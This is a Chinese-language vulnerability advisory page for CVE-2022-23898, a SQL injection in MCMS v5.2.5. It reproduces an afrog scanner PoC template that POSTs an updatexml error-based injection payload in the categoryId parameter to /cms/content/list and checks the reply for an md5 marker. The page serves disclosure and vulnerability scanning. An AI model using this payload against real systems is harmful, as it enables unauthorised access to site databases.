CVE-2022-23898: MCMS IContentDao.xml. v5.2.5 - SQL Injection

日期: 2025-09-01 | 影响软件: MCMS | POC: 已公开

漏洞描述

MCMS v5.2.5存在SQL注入漏洞，攻击者可以通过IContentDao.xml文件中的categoryId参数进行注入。

PoC代码[已公开]

id: CVE-2022-23898


info:
  name: MCMS IContentDao.xml. v5.2.5 - SQL Injection
  author: hhhnee
  severity: high
  verified: true
  description: |
    MCMS v5.2.5存在SQL注入漏洞，攻击者可以通过IContentDao.xml文件中的categoryId参数进行注入。
  reference:
    - https://github.com/ming-soft/MCMS/issues/62
    - https://github.com/advisories/GHSA-p94q-9q2m-pfh2
    - https://nvd.nist.gov/vuln/detail/CVE-2022-23898

rules:
  r0:
    request:
      method: POST
      path: /cms/content/list
      body: |
        categoryId=1' and updatexml(1,concat(0x7e,md5(0012),0x7e),1) and 'zzz'='zzz
    expression: response.body.bcontains(b'c20ad4d76fe97759aa27a0c99bff671')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/CVE/2022/CVE-2022-23898.yaml

相关漏洞推荐